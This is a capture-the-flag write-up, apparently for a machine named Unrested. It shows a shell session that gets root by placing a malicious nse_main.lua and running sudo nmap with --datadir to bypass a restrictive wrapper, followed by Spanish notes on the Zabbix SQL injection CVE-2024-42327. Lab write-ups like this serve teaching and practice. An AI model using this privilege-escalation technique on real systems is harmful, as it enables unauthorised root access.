uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *
zabbix@unrested:/$ cat /usr/bin/nmap
cat /usr/bin/nmap
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
zabbix@unrested:/$ cd /tmp
cd /tmp
zabbix@unrested:/tmp$ echo  'os.execute("/bin/bash -p")' > nse_main.lua
echo  'os.execute("/bin/bash -p")' > nse_main.lua
zabbix@unrested:/tmp$ sudo /usr/bin/nmap -sC --datadir=/tmp
sudo /usr/bin/nmap -sC --datadir=/tmp
Starting Nmap 7.80 ( https://nmap.org ) at 2025-04-22 06:20 UTC
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
a0693***************************
cat /home/matthew/user.txt
fbdfe***************************

Last updated 10 days ago

Nota: la API que vamos a usar durante todo el CTF es api_jsonrpc.php que esta detallada en el manual de Zabbix

Si seguimos indagando en la documentaciรณn pรบblica de Zabbix vamos a encontrar un repositorio en Github () con el CUser.php file y en la linea 358 se encuentra la funciรณn user.update que hace lo siguiente:

Este CVE describe una vulnerabilidad de inyecciรณn SQL en Zabbix (especรญficamente en la funciรณn user.get del backend PHP). El problema estรก en que, bajo ciertas condiciones, un usuario sin privilegios suficientes puede manipular directamente una consulta SQL si se establece la opciรณn selectRole. Primero analicemos las siguientes lรญneas del cรณdigo fuente de la clase CUser para comprender mejor porquรฉ existe esta vulnerabilidad ():

Link al repo

Zabbix: Plataforma de Monitoreo Abierto para Infraestructuras Crรญticas
https://www.zabbix.com/documentation/current/en/manual/api
https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php#L358
Zabbix CUser.php
CVE-2024-42327_Zabbix_SQLI